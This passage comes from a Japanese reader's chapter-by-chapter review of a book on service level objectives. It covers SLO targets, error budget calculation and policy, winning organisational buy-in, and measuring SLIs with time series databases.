て、SREの役割と責任について深い洞察を提供しています。ユーザー中心の視点、複雑なシステムの理解、組織全体とのアラインメント、これらはすべてSREが取り組むべき重要な課題です。SLIの適切な開発と運用は、これらの課題に対処するための強力なツールとなり得ます。今後の実務において、この章で学んだアプローチを積極的に取り入れていきたいと考えています。特に、ユーザージャーニーの詳細な分析とそれに基づくSLIの設計、エンドツーエンドの測定を可能にするインフラの整備、そして他部門との密接な連携によるSLIの継続的な改善に注力していきたいと思います。これらの取り組みを通じて、より効果的なSREプラクティスを確立し、最終的にはユーザー満足度の向上とビジネス目標の達成に貢献できると確信しています。Chapter 4. Choosing Good Service Level Objectives第4章「Choosing Good Service Level Objectives」は、SLO(Service Level Objectives)の設定に関する深い洞察を提供しています。本書では、SLOの本質と、それを効果的に選択・設定するための方法論を詳細に解説しています。チームが機能するとはどういうことか──「学習力」と「実行力」を高める実践アプローチ作者:エイミー・C・エドモンドソン,Amy C. Edmondson英治出版Amazon本書では、SLOを「ユーザーの幸福度」という観点から定義しています。「If you are exceeding your SLO target, your users are happy with the state of your service.」という一文は、SLOの本質を的に表現しています。この視点は、技術的な指標だけでなく、ユーザー体験を中心に据えることの重要性を強調しており、SREとしての私たちの役割を再考させられました。しかし、本書では同時に「too reliable」であることの問題点も指摘しています。「Being too reliable all the time, you\'re also missing out on some of the fundamental features that SLO-based approaches give you: the freedom to do what you want.」この考え方は、一見paradoxicalに思えますが、実際の運用環境では重要です。過度に高い信頼性を目指すことで、イノベーションや実験の機会を失う可能性があるという指摘は、SREとして常に意識すべき点だと感じました。本書では、SLO設定において「9」にこだわりすぎることの危険性も指摘しています。99.9%や99.99%といった数値は一見魅力的ですが、実際のサービス運用では必ずしも適切ではない場合があります。本書では、より柔軟なアプローチを提案しており、例えば98.62%や87%といったSLO目標も適切な場合があると述べています。この柔軟性は、実際のサービス運用において重要だと感じました。技術的な観点から特に興味深かったのは、SLO設定における統計的アプローチの解説です。本書では、平均値、中央値、モード、範囲、パーセンタイルなどの基本的な統計概念を丁寧に説明し、これらがSLO設定にどのように活用できるかを具体的に示しています。例えば、95パーセンタイルの応答時間を使用してSLOを設定する方法は、実際のサービス運用において有用です。Table 4-1. SLO targets composed of nines translated to time より引用Table 4-2. SLO targets composed of not-just-nines translated to time より引用Figure 4.1と4.2で示されている「SLO targets composed of nines translated to time」と「SLO targets composed of not-just-nines translated to time」の表は、異なるSLO目標が実際の運用時間にどのように影響するかを視覚的に理解する上で役立ちました。これらの表は、SLO目標を設定する際の具体的な指針となります。本書では、サービスの依存関係とコンポーネントの考慮の重要性も強調しています。特に、複数のチームが関わる複雑なサービスにおいて、各コンポーネントのSLOをどのように設し、全体のSLOとどう整合性を取るかという点は、実務上重要な課題です。本書の提案する「dependency math」は、この課題に対する具体的なアプローチを提供しており、実践的で有用だと感じました。また、本書ではメトリクスの属性(解像度、量、質)についても詳細に解説しています。これらの要素がSLO設定にどのように影響するかを理解することは、適切なSLOを選択する上で重要です。特に、低頻度イベントや品質の低いデータに対するアプローチは、実際のSRE業務で直面する課題に直接関連しており、有用な知見でした。本書が提案するパーセンタイル閾値の使用は、特にロングテールを持つ分布(例:レイテンシー)を扱う際に非常に有効で、例えば「The P95 of all requests will successfully complete within 2,000 ms 99.9% of the time.」というSLOの設定方法は、ロングテールのパフォーマンスを継続的に監視・管理できる点と、SLOをより直感的に報告できる点で優れたアプローチだと感じました。この章から得られる重要な教訓は、SLO設定が単なる数値目標の設定ではなく、ユーザーの期待、技術的な制約、ビジネス目標のバランスを取る複雑なプロセスであるということです。本書の「SLOs are objectives, they\'re not formal agreements」という言葉は、SLOアプローチの柔軟性と進化の必要性を強調しており、重要な指摘だと感じました。この章の内容を実践に移す上で、以下のようなアプローチを考えています。また、資料としては以下がSLOをゼロからつくるなどがおすすめなので国内の事例として読んでみてほしいです。現在のSLOを再評価し、ユーザー体験をより適切に反映しているか検討する。パーセンタイル閾値を活用し、ロングテールを持つメトリクスに対するSLOを改善する。サービスの依存関係を詳細にマッピングし、「dependency math」を用いて全体のSLOを再計算する。メトリクスの属性(解像度、量、質)を詳細に分析し、SLO設定に反映させる。チーム間でSLOに関する定期的な議論の場を設け、継続的な改善を図る。技術的な観点からは、本書が提案する統計的アプローチとパーセンタイル閾値の使用は、特に注目に値します。これらの手法を実装するためには、高度なモニタリングシステムと分析ツールが必要になるでしょう。例えば、リアルタイムでパーセンタイル値を計算し、SLO違反を検出するシステムの構築が考えられます。また、「dependency math」を自動化し、サービスの依存関係の変更がSLOにどのように影響するかをシミュレートするツールも有用でしょう。さらに、本書の「operational underload」の概念は、SRE実践において重要です。システムに適度なストレスをかけることで、チームの対応能力を維持し、潜在的な問題を早期に発見できるという考え方は、従来のシステム運用の考え方を覆すものです。これを実践するためには、慎重に設計された負荷テストやカオスエンジニアリングの手法の導入が必要になるでしょう。この章の内容は、SREの実務に直接的に適用できる多くの示唆に富んでいます。例えば、新しいサービスのSLO設定時には、本書が提案する「educated guess」アプローチを採用し、初期のSLOを設定した後、実際のデータに基づいて迅速に調整していく方法を取り入れることができます。また、既存のサービスについては、現在のSLOが本当にユーザーの期待を反映しているか、定期的に再評価する習慣を導入することが重要です。本書の「Nines don\'t matter if users aren\'t happy」という考え方は、SREの役を再定義するものだと感じました。技術的な指標の達成だけでなく、実際のユーザー満足度を中心に据えたアプローチは、SREがビジネス価値の創出により直接的に貢献できることを示唆しています。これは、SREの戦略的重要性を高め、組織内での位置づけを変える可能性を持っています。一方で、この章の内容を実践する上での課題も存在します。例えば、複雑な依存関係を持つマイクロサービス環境では、個々のサービスのSLOと全体のSLOをどのように整合させるかが大きな課題となります。また、ユーザー満足度を正確に測定し、それをSLOに反映させる方法も、さらなる研究と実験が必要な領域です。さらに、本書が提案する柔軟なSLOアプローチは、組織文化の変革を必要とする場合があります。特に、従来の固定的なSLAに慣れた組織では、より動的で適応的なSLOアプローチへの移行に抵抗がある可能性があります。この課題に対処するためには、経営陣を含む組織全体での理解と支持を得ることが重要です。総括すると、この章はSLO設定に関する包括的かつ実践的なガイドを提供しています。本書の現実主義的かつユーザー中心のアプローチは、SREの実務に直接的に適用可能な多くの洞察を提供しています。特に、「100%は不可能」という前提に立ちつつ、どのようにして適切な信頼性目標を設定するかという問いに対する本書の回答は、示唆に富んでいます。この章から学んだアプローチを実践することで、より効果的なSLO設定が可能になり、結果としてユーザー満足度の向上とビジネス目標の達成につながると確信しています。同時に、SLO設定はコンテキストに依存する複雑なプロセスであり、継続的な学習と改善が必要であることも忘れてはいけません。最後に、この章の内容は、SREが単なる技術的な役割ではなく、ビジネスとユーザー体験を深く理解し、それを技術的に実現する戦略的な役割であることを再認識させてくれました。SLOの適切な設定と管理は、この役割を果たす上で核心的な要素であり、今後のSRE実践においてさらに重要性を増していくと考えられます。Monitoring user experience of Flutter apps with SLI/SLO (日本語)も良かったのでオススメです。 speakerdeck.comChapter 5. How to Use Error Budgets第5章「How to Use Error Budgets」は、SRE(Site Reliability Engineering)の核心とも言えるエラーバジェットの概念と実践的な活用方法について深く掘り下げています。本書では、エラーバジェットが単なる数値目標ではなく、組織の意思決定と行動を導く強力なツールであることを説得力のある方法で説明しています。章の冒頭で、本書では「Error budgets are the final part of the Reliability Stack, and it takes a lot of effort and resources to use them properly.」と述べ、エラーバジェットの重要性と実装の難しさを強調しています。この言葉は、SREとしての私の経験と深く共鳴しました。エラーバジェットの導入は、技術的な課題だけでなく、組織文化の変革も必要とする複雑なプロセスであることを日々実感しています。失敗の科学作者:マシュー・サイドディスカヴァー・トゥエンティワンAmazon本書が提示するエラーバジェットの基本的な考え方は、Figure 5.1に端的に示されています。「If you have error budget remaining, ship new features and push to production as often as you\'d like; once you run out of it, stop pushing feature changes and focus on reliability instead.」この単純な原則は、開発チームと運用チームの間の対立関係に対する優れた解決策を提供しています。技術的な観点から特に興味深かったのは、エラーバェットの計算方法に関する詳細な説明です。本書では、イベントベースと時間ベースの2つのアプローチを紹介し、それぞれの利点と欠点を解説しています。例えば、30日間のウィンドウで99.7%のSLO目標を持つサービスの場合、エラーバジェットは次のように計算されます:(1 - 0.997) \xd7 2592000 = 7776この7776秒(2時間9分36秒)が、30日間で許容される「不安定な時間」となります。この具体的な数値を示すことで、エラーバジェットの概念がより理解しやすくなると感じました。本書ではまた、エラーバジェットの時間枠の選択についても詳しく論じています。ローリングウィンドウとカレンダーベースのウィンドウの比較は、特に興味深いものでした。カレンダーベースのウィンドウは報告や計画が容易になる一方で、月末近くの大きな障害の影響を適切に映できない可能性があるという指摘は、実務上重要な点だと感じました。エラーバジェットポリシーの策定に関する本書の提案も、有用でした。特に、「Use words like must, may, should, and required in your written policies to help give people freedom to adapt certain parts of them.」という助言は、ポリシーの柔軟性と厳格性のバランスを取る上で重要だと感じました。本書が推奨するRFC 2119の活用は、技術文書の作成において有用な指針だと思います。この章で最も印象に残ったのは、エラーバジェットを単なる数値目標ではなく、意思決定のツールとして捉える視点です。「Error budget status is just the end result of a bunch of data (SLIs, SLOs, and their targets) that exists to help you make decisions.」この考え方は、SREの実践において重要です。エラーバジェットは、チーム間のコミュニケーションを促進し、リソース配分の優先順位付けを支援する強力なツールとなり得ます。本書が提案するエラーバジェットの段階的な対応策(例:33%消費で2人、66%消費で4人がリライアビリティ作業に集中)は、実務に直接適用できる具体的なアイデアとして参考になりました。同時に、これらの対応策を固定的なルールではなく、状況に応じて柔軟に適用すべきガイドラインとして捉える本書の姿勢は、現実のソフトウェア開発環境の複雑さを適切に反映していると感じました。エラーバジェットの計算方法に関する技術的な詳細も、有用でした。特に、ローリングウィンドウとカレンダーベースのウィンドウの比較は、実際のシステム設計において重要な選択となります。本書が指摘するように、カレンダーベースのウィンドウは報告や計画が容易になる一方で、月末近くの大きな障害の影響を適切に反映できない可能性があります。この点は、エラーバジェットの設計において慎重に考慮すべき要素だと感じました。また、本書が提案する「時間の除外」の概念も興味深いものでした。計画的なメンテナンス時間や、サービスが重要でない時間帯をエラーバジェットの計算から除外することで、より現実的なSLOを設定できるという点は、多くのシステムに適用可能な有用な考え方だと思います。エラーバジェットポリシーの策定に関する本書の提案は、組織内でのエラーバジェットの効果的な運用に不可欠なものだと感じました。特に、ポリシーに所有者とステークホルダーを明確に記載することの重要性は、組織の規模が大きくなるほど重要になります。また、エラーバジェットのバーンレートに応じた段階的な対応策の設定は、リソースの効率的な配分と迅速な問題対応のバランスを取る上で有効だと思います。本書が強調する「信頼」の重要性も良かったです。エラーバジェットポリシーは厳格なルールではなく、意思決定のガイドラインであるべきだという考え方は、現実の複雑な状況に柔軟に対応する上で重要です。同時に、ポリシーの定期的な見直しと更新の必要性を強調している点も、変化の激しい技術環境において重要だと感じました。この章から得られる重要な教訓は、エラーバジェットが単なる数値目標ではなく、組織全体の意思決定とコミュニケーションを導く強力なツールであるということです。エラーバジェットを効果的に活用するためには、技術的な実装だけでなく、組織文化の変革と継続的な善プロセスが不可欠です。SREとして、この章から学んだことを実践に移すためには、以下のようなアプローチが考えられます:エラーバジェットの計算方法と時間枠の選択を、サービスの特性とユーザーのニーズに基づいて慎重に検討する。段階的なエラーバジェット消費に対する対応策を、チームの規模と構造に合わせて設計する。エラーバジェットポリシーを作成し、所有者、ステークホルダー、対応策、見直しスケジュールを明確に定義する。エラーバジェットの状況を定期的に報告し、チーム間のコミュニケーションと意思決定に活用する。エラーバジェットの概念と重要性について、組織全体の理解を促進するための教育プログラムを実施する。技術的な観点からは、エラーバジェットの計算と監視を自動化するシステムの構築が重要になります。例えば、SLIデータを継続的に収集し、リアルタイムでエラーバジェットの状況を計算・可視化するダッシボードの開発が考えられます。また、エラーバジェットのバーンレートに基づいて自動的にアラートを発生させ、適切なチームメンバーに通知するシステムも有用でしょう。さらに、本書が提案するエラーバジェットの「burn rate」の概念は、特に注目に値します。この概念を実装するためには、時系列データベースとアナリティクスツールの効果的な活用が必要になるでしょう。例えば、Prometheus+Grafanaの組み合わせを使用して、エラーバジェットのバーンレートを可視化し、予測分析を行うことが考えられます。エラーバジェットの概念をCICD(Continuous Integration/Continuous Deployment)パイプラインと統合することも、有効なアプローチだと考られます。例えば、現在のエラーバジェットの状況に基づいて、自動的にデプロイメントの頻度や規模を調整するシステムを構築することができます。これにより、エラーバジェットの概念をより直接的に開発プロセスに組み込むことが可能になります。この章を読んで、エラーバジェットの効果的な活用は、単にシステムの信頼性を向上させるだけでなく、組織全体のアラインメントとコミュニケーションを促進する強力なツールとなり得ます。特に、開発チームと運用チームの間の伝統的な対立を解消し、共通の目標に向かって協力する文化を醸成する上で、エラーバジェットは有効だと感じました。また、エラーバジェットを活用した意思決定プロセスは、SREの戦略的な重要性を高める可能性がります。エラーバジェットの状況に基づいて、リソース配分や優先順位付けを行うことで、SREはより直接的にビジネス目標の達成に貢献できるようになります。これは、SREの役割がより戦略的になり、経営陣との対話がより深まる可能性を示唆しています。総括すると、この章はエラーバジェットの概念と実践的な活用方法について、包括的かつ深い洞察を提供しています。エラーバジェットは、単なる技術的なメトリクスではなく、組織の文化と意思決定プロセスを変革する強力なツールです。SREとして、エラーバジェットの効果的な実装と活用は、システムの信頼性向上だけでなく、組織全体のパフォーマンス向上にも大きく貢献する可能性があると確信しています。今後の課題としては、エラーバジェットの概念をより広範囲のステークホルダーに理解してもらい、組織全体で活用していくことが挙げられます。また、エラーバジェットの計算と監視をより精緻化し、より正確かつリアルタイムな意思決定を支援するシステムの開発も重要な課題となるでしょう。さらに、エラーバジェットの概念を他の経営指標と統合し、より包括的な組織パフォーマンスの評価システムを構築することも、将来的な展望として考えられます。エラーバジェットの効果的な活用は、SREの実践において中心的な役割を果たすものです。この章で学んだ概念と手法を、日々の業務に積極的に取り入れていくことで、より信頼性の高いシステムの構築と、より効果的な組織運営に貢献できると確信しています。同時に、エラーバジェットの概念は常に進化し続けるものであり、新しい技術や方法論の登場に応じて、継続的に学習し、適応していく必要があることも忘れてはいけません。Part II. SLO ImplementationPart IIでは、SLOの実装と運用に焦点が当てられています。特に良かったのは、SLOモニタリングとアラートに関する章です。著者は、従来のしきい値ベースのアラートの問題点を指摘し、エラーバジェットのバーンレートに基づいたSLOアラートの優位性を説明しています。世の中にはOpenSLOなんていう取り組みもあります。技術的な観点からは、エラーバジェットの計算方法や、短期的な問題(fast burn)と長期的な問題(slow burn)を区別して扱うアプローチなど、実践的な知見が多く含まれています。これらの手法は、より効果的なインシデント管理と、リソースの最適な配分を可能にします。また、データの信頼性に関する章も興味深いものでした。データサービスの信頼性が他のサービスとは根本的に異なる性質を持つことが強調され、データの鮮度、完全性、一貫性など、多面的な属性を考慮したSLO設定の重要性が説明されています。この部分から学んだ最も重要な教訓は、SLOの実装が技術的な課題だけでなく、組織全体のプロセスと密接に関連していることです。SLOを効果的に運用するためには、技術チーム、プロダクトチーム、経営陣など、様々なステークホルダーの協力が不可欠です。SREとして、これらの関係者間のコミュニケーションを促進し、SLOを組織の意思決定プロセスに組み込んでいく役割が求められています。Chapter 6. Getting Buy-In第6章「Getting Buy-In」は、SLO(Service Level Objectives)の導入において最も重要かつ困難な課題の一つである組織内の合意形成について詳細解説しています。本章では、SLOの導入が単なる技術的な問題ではなく、組織全体の文化や意思決定プロセスに深く関わる変革であることを強調しています。他者と働く──「わかりあえなさ」から始める組織論 (NewsPicksパブリッシング)作者:宇田川元一ニューズピックスAmazon章の冒頭で、本書では「SLIs, SLOs, and error budgets are really helpful mental tools to reason about the reliability needs of your systems. If you want them to be anything more than just interesting talking points, however, you will need to convince your company (or organization) to implement and live by them.」と述べています。この言葉は、SLOの導入が単なる技術的な実装以上の意味を持つことを端的に表現しています。この点に強く共感しました。技術的に優れたソリューションであっても、組織全体の理解と支持がなければ、その効果を十分に発揮することはできません。 speakerdeck.com本書では、SLO導入のための合意形成プロセスを段階的に説明しています。特に良かったのは、各ステークホルダーの懸念事項と、それに対する効果的な説得方法を具体的に提示している点です。例えば、エンジニアリングチームに対しては、「SLOs (and error budgets) increase both reliability and feature velocity over time. They also make for a better work environment because they align incentives among previously warring factions.」というメッセージが効果的だと述べています。この視点は、開発チームと運用チームの間に常に存在する対立関係を解消する上で重要だと感じました。技術的な観点から特に興味深かったのは、エラーバジェットポリシーの設計に関する提案です。本書では、最初の1年間は単一のエラーバジェットポリシーを採用し、それを「新機能の凍結(feature freeze)」ポリシーとすることを推奨しています。具体的には、可用性SLOが99.9%の場合、30日間で43.2分のエラーバジェットがあり、このバジェットを超過した場合は新機能の開発を一時停止し、信頼性向上に注力するというものです。この明確で厳格なポリシーは、組織全体にSLOの重要性を浸透させる上で効果的だと感じました。本書では、SLO導入のための合意形成プロセスを5つの主要なステークホルダーグループ(エンジニアリング、運用、プロダクト、リーダーシップ、法務)に分けて説明しています。各グループの懸念事項と、それに対する効果的な説得方法が詳細に解説されており、実際の導入プロセスにおいて参考になりました。また本書では、エグゼクティブリーダーシップへの説得方法についても詳しく解説されています。「In our firm, we strive for 100% customer satisfaction and 100% uptime! Our customers will tolerate no less!」という経営陣からよくある反応に対して、本書では現実主義的なアプローチを提案しています。完璧な信頼性は不可能であり、むしろ適切なレベルの信頼性を目指すことで、イノベーションと安定性のバランスを取ることができるという説明は、説得力がありました。また、本書が提案する「thaw tax」の概念も興味深いものでした。機能フリーズ期間中に例外的にリリースを行う場合、その期間の1.5倍をフリーズ期間に追加するという考え方は、ポリシーの柔軟性と厳格性のバランスを取る上で有効だと思います。SLO導入の最初の重要な瞬間について、本書では「The most important moment is the first time you exhaust your error budget and need to enforce your policy. That will be the moment that teaches everyone whether or not you are serious about this journey.」と述べています。この指摘は、共感できるものでした。ポリシーを厳格に適用することの重要性と、それが組織文化の変革につながることを強調している点は、重要だと感じました。本書では、SLO導入プロセスから学んだ教訓も共有しています。特に印象的だったのは、「Too much too soon」という警告です。一度にすべてを変えようとするのではなく、一つの製品の一部分、あるいは一つの障害ドメインから始めることの重要性を強調しています。この段階的なアプローチは、大規模な組織変革を成功させる上で重要だと感じました。また、「Be completely transparent」という助言も重要です。SLOとエラーバジェットの状況を組織全体で可視化し、共有することの重要性を強調しています。これは、SLOアプローチの効果を最大化し、組織全体のアラインメントを促進する上で不可欠だと思います。技術的な観点からは、本書がSLOとエラーバジェットの可視化について言及している点が興味深かったです。具体的な実装方法は述べられていませんが、例えばPrometheus + Grafanaのような監視スタックを活用し、リアルタイムでSLOの状況を可視化するダッシュボードを構築することが考えられます。これにより、組織全体でSLOの状況を共有し、迅速な意思決定を行うことが可能になります。本書では最後に、SLOアプローチの導入に対する一般的な反論とその反駁を提示しています。特に、「But we\'re not Google!」という反論に対する本書の回答は印象的でした。SLOベースのアプローチはGoogle特有のものではなく、あらゆる規模の組織に適用可能であることを強調しています。この章から得られる最も重要な教訓は、SLOの導入が技術的な課題以上に、組織文化の変革と関係者の合意形成が重要であるということです。本書が提示する段階的なアプローチと各ステークホルダーに対する具体的な説得方法は、実際のSLO導入プロセスにおいて有用なガイドラインとなります。SREとして、この章から学んだことを実践に移すためには、以下のようなアプローチが考えられます。組織内の主要なステークホルダーを特定し、それぞれの懸念事項を事前に把握する。SLOとエラーバジェットの概念について、非技術者にも理解しやすい説明資料を準備する。小規模なパイロットプロジェクトから始め、成功事例を作り出す。エラーバジェットポリシーを明確に定義し、組織全体で合意を得る。SLOとエラーバジェットの状況を可視化するダッシュボードを構築し、組織全体で共有する。定期的にSLOの見直しと調整を行い、継続的な改善を図る。技術的な観点からは、SLOとエラーバジェットの測定と可視化のためのインフラストラクチャの構築が重要になります。例えば、以下のような技術スタックの活用が考えられます。Prometheusを使用してSLIメトリクスを収集する。Grafanaを使用してSLOとエラーバジェットの状況をリアルタイムで可視化する。Alertmanagerを設定し、エラーバジェットのバーンレートに応じたアラートを発行する。Kubernetes Operatorを開発し、エラーバジェットの状況に応じて自動的にデプロイメントを制御する。これらの技術的な実装により、SLOアプローチを組織の日常的な運用に組み込むことが可能になります。また、本書が強調している「透明性」を実現するためには、技術的な可視化だけでなく、組織内のコミュニケーションプロセスも整備する必要があります。例えば、週次または月次のSLOレビューミーティングを設定し、エンジニアリング、プロダクト、経営陣が一堂に会してSLOの状況と今後の方針を議論する場を設けることが有効でしょう。SLOの導入は、単なる技術的な指標の導入以上の意味を持ちます。それは、組織全体の意思決定プロセスと優先順位付けの方法を根本的に変える可能性を秘めています。例えば、新機能の開発とシステムの安定性向上のバランスを、感覚的なものではなく、データに基づいて判断することが可能になります。これにより、エンジニアリングリソースの最適な配分が可能になり、結果としてユーザー満足度の向上とビジネス目標の達成につながります。同時に、SLOアプローチの導入は、組織の文化を「障害を責める」文化から「学習と改善」の文化へと変革する契機にもなり得ます。エラーバジェットの概念は、一定レベルの障害を許容することで、より積極的な実験と学習を促進します。これは、長期的には組織の革新性と競争力の向上につながる可能性があります。この章を読んで、私はSREの役割がより戦略的なものになりつつあることを強く感じました。SLOの導入と運用を通じて、SREは技術的な問題解決だけでなく、組織全体の方向性に影響を与える重要な位置にあることが明確になりました。この変化に適応し、技術的なスキルとビジネス感覚の両方を磨いていくことが、今後のSREにとって不可欠だと考えます。総括すると、この章はSLO導入の成功に不可欠な組織的側面に焦点を当て、具体的かつ実践的なガイダンスを提供しています。技術的な実装はSLO導入の一部分に過ぎず、真の成功は組織全体の理解と支持を得ることにあるという本書のメッセージは、重要です。SREとして、この章から学んだアプローチを実践することで、より効果的なSLO導入が可能になり、結果として組織全体のパフォーマンス向上につながると確信しています。同時に、SLO導入プロセスは継続的な学習と改善の機会でもあります。初期の導入後も、定期的にSLOの妥当性を見直し、組織の変化や新たな技術の登場に応じて柔軟に調整していく必要があります。この継続的な改善プロセスこそが、SLOアプローチの真の価値を引き出す鍵となるでしょう。今後の課題としては、SLOの概念をより広範囲の組織メンバーに浸透させること、SLOデータを活用した意思決定プロセスの確立、そして他のビジネスメトリクスとSLOを統合した包括的なパフォーマンス評価システムの構築などが考えられます。これらの課題に取り組むことで、SLOアプローチはより一層組織に根付き、長期的な価値を生み出すことができるでしょう。最後に、本書の「SLOは複雑な科学ではなく、基本的な算術と規律の問題である」という指摘は重要です。この言葉は、SLO導入の本質が技術的な複雑さではなく、組織の意志と実行力にあることを端的に表現しています。SREとして、この点を常に念頭に置きながら、組織全体のアラインメントと継続的な改善を推進していくことが重要だと感じました。SLOの導入は、技術的な変革であると同時に、組織文化の変革でもあります。この章で学んだアプローチを実践することで、より信頼性の高いシステムの構築と、より効果的な組織運営に対して営に貢献できると確信しています。同時に、SLOの概念は常に進化し続けるものであり、新しい技術や方法論の登場に応じて、継続的に学習し、適応してく必要があることも忘れてはいけません。SLOの導入プロセスにおいて、本書が強調する「ステークホルダーの理解と支持を得ること」の重要性は、特に注目に値します。技術的に優れたソリューションであっても、組織全体の理解と支持がなければ、その効果を十分に発揮することはできません。この点で、本書が提案する各ステークホルダーグループ(エンジニアリング、運用、プロダクト、リーダーシップ、法務)に対する具体的な説得方法は、実践的で有用です。例えば、エンジニアリングチームに対しては、SLOとエラーバジェットが信頼性と機能開発速度の両方を向上させることを強調します。これは、多くのエンジニアが抱える「信頼性向上と新機能開発のトレードオフ」という懸念に直接応えるものです。一方、運用チームに対して、SLOアプローチがエンジニアリングチームとの対立を解消し、共通の目標に向かって協力する文化を醸成することを強調します。プロダクトチームに対しては、SLOが長期的には機能開発速度を向上させることを説明します。これは、多くのプロダクトマネージャーが持つ「SLOが機能開発を遅らせる」という懸念を解消するのに役立ちます。さらに、SLOがユーザージャーニーと密接に関連していることを強調することで、プロダクトチームの関心を引き出すことができます。リーダーシップに対しては、SLOアプローチが組織全体のアラインメントを促進し、データに基づいた意思決定を可能にすることを強調します。特に、「100%の信頼性は不可能であり、追求すべきでもない」という現実的なアプローチは、多くの経営者が持つ「完璧を目指すべき」とい考えに対する重要な反論となります。法務チームに対しては、SLOが法的リスクの定量化と管理に役立つことを説明します。特に、SLAとSLOの違いを明確に説明し、SLOがより現実的で管理可能な内部目標であることを強調することが重要です。技術的な観点からは、SLOの測定と可視化のためのインフラストラクチャの構築が重要な課題となります。具体的には、以下のような技術スタックの活用が考えられます。Prometheusを使用してSLIメトリクスを収集する。Grafanaを使用してSLOとエラーバジェットの状況をリアルタイムで可視化する。Alertmanagerを設定し、エラーバジェットのバーンレートに応じたアラートを発行する。カスタムのKubernetes Operatorを開発し、エラーバジェットの状況に応じて自動的にデプロイメントを制御する。OpenTelemetryを活用して、分散システム全体でのエンドツーエンドのトレーシングを実現する。これらの技術を効果的に組み合わせることで、SLOの測定と管理を自動化し、リアルタイムでの意思決定を支援することができます。しかし、技術的な実装以上に重要なのは、SLOアプローチを組織の日常的な運用とビジネス意思決定プロセスに深く組み込むことです。例えば、四半期ごとの事業計画策定時にSLOの状況をレビューし、今後の開発方針やリソース配分の決定に活用するといった取り組みが考えられます。また、SLOアプローチの導入は、組織の文化を「障害を責める」文化から「学習と改善」の文化へと変革する機会でもあります。エラーバジェットの概念は、一定レベルの障害を許容することで、より積極的な実験と学習を促進します。これを組織文化として定着させるためには、以下のような取り組みが効果的ですポストモーテム(障害事後分析)を非難の場ではなく習の機会として位置づける。エラーバジェットを使い切った際の対応を、単なるペナルティではなく、システム改善のための集中期間として捉える。イノベーションとリスクテイキングを奨励し、エラーバジェット内での「失敗」を許容する文化を醸成する。SLOの達成状況を個人やチームの評価指標として使用するのではなく、組織全体の改善指標として活用する。これらの文化的側面は、技術的な実装と同等、あるいはそれ以上に重要です。なぜなら、組織文化がSLOアプローチを支持しない限り、その効果を最大限に発揮することはできないからです。本書で強調する「最初のエラーバジェット超過時の対応」の重要性も、特筆に値します。この最初の事例が、組織がSLOアプローチをどれだけ真剣に捉えているかを示す重要な指標となります。したがって、この最初の事例に対する対応を慎重に計画し、組織全体で共有することが重要です。例えば、最初のエラーバジェット超過時には以下のようなアプローチが考えられます:エグゼクティブレベルを含む全社的なミーティングを開催し、状況を共有する。エラーバジェットポリシーに基づく対応(例:機能フリーズ)を厳格に実施する。この期間中の改善活動とその成果を詳細に記録し、組織全体で共有する。この経験から学んだことを基に、SLOとエラーバジェットポリシーを見直し、必要に応じて調整する。これらの取り組みを通じて、SLOアプローチが単なる技術的な指標ではなく、組織全体の運営方針に深く組み込まれたものであることを示すことができます。最後に、本書が提案する段階的なアプローチと定期的な見直しの重要性を強調しておきたいと思います。SLOの導入は一朝一夕には実現できません。小規模なパイロットプロジェクトから始め、徐々に範囲を拡大していくアプローチが、多くの場合効果的です。また、初期のSLO設定が最適でない可能性も高いため、定期的(例えば四半期ごと)にSLOを見直し、必要に応じて調整することが重要です。このような継続的な改善プロセスを通じて、SLOアプローチは組織に深く根付き、長期的な価値を生み出すことができるようになります。SREとして、この継続的な改善プロセスをリードし、技術的な実装と組織文化の変革の両面からSLOアプローチの成功を支援することが、我々の重要な役割となるでしょう。SLOの導入は、単なる技術的な変更以上の意味を持ちます。それは、組織全体の運営方針とビジネス意思決定プロセスを本格的に変える可能性を秘めています。この変革を成功させるためには、技術的なスキルとビジネス感覚の両方を持ち合わせ、組織全体をリードしていく能力が必要となります。この章で学んだアプローチを実践し、組織全体のアラインメントを図りながらSLOを導入することで、より信頼性の高いシステムの構築と、より効果的な組織運営が実現できると確信しています。同時に、この過程は継続的な学習と改善の機会でもあります。新しい技術や方法論の登場、ビジネス環境の変化に応じて、常にアプローチを見直し、適応していく姿勢が重要です。SLOの導入は、技術的な挑戦であると同時に、組織文化の変革という大きな挑戦でもあります。しかし、この挑戦を乗り越えることで、組織はより強靭で適応力の高いものとなり、急速に変化する技術環境ビジネス環境において、持続的な成功を収めることができるでしょう。SREとして、この変革の最前線に立ち、技術と組織の両面からリーダーシップを発揮することが、我々に求められている重要な役割なのです。Chapter 7. Measuring SLIs and SLOs第7章「Measuring SLIs and SLOs」は、Service Level Indicators (SLIs)とService Level Objectives (SLOs)の実装と測定に関する深い洞察を提供しています。本章は、SLOの実装が単なる技術的な作業ではなく、組織全体の運用方針と密接に関連する重要な取り組みであることを強調しています。組織が変わる――行き詰まりから一歩抜け出す対話の方法2 on 2作者:宇田川 元一ダイヤモンド社Amazon章の冒頭で、本書では「It\'s one thing to understand the philosophy of what a good SLI for a service might be, but it\'s another thing entirely to actually understand how to implement and measure it.」と述べています。この言葉は、SLIとSLOの理論と実践の間には大きなギャップが存在することを端的に表現しており、SREとしての私の経験と深く共鳴しました。理想的なSLIを定義することは比較的容易ですが、それを実際のシステムで正確に測定することは多くの技術的課題を伴います。本書では、SLOの実装における6つの設計目標を提示しています:柔軟なターゲット、テスト可能なターゲット、鮮度、コスト、信頼性、組織的制約。これらの目標は、SLO実装の成功を左右する重要な要素であり、SREとして常に意識すべき点だと感じました。特に、「Flexible Targets」の重要性は印象的でした。本書では、SLOが時間とともに進化する必要があることを強調し、人間のオペレーターがコード変更やソフトウェアの再デプロイなしにSLOのパラメータを調整できることの重要性を指摘しています。この柔軟性は、急速に変化するビジネ環境や技術環境において重要です。技術的な観点から特に興味深かったのは、Time Series Database (TSDB)と構造化イベントデータベース(ログシステム)の比較です。本書では、これらの異なるアプローチの長所と短所を詳細に分析しています。例えば、TSDBは高スループットのシステムに適していますが、柔軟性に欠ける場合があります。一方、構造化イベントデータベースは柔軟性が高いものの、コストが線形に増加する傾向があります。この分析は、SLO実装の技術選択において有用な指針となります。本書が提示するTSDBにおける統計分布のサポートに関する説明は、特に印象的でした。パーセンタイルベースのSLOを実装する際、TSDBが提供する分布データ型の機能が重要になります。本書では、「Statistical distributions are incredibly important when implementing SLOs with a TSDB: per our design goals of flexible targets and testable targets, durably stored time series distributions allow us to measure P95 latency one day and P99 the next without changing code, changing configuration, or losing time series 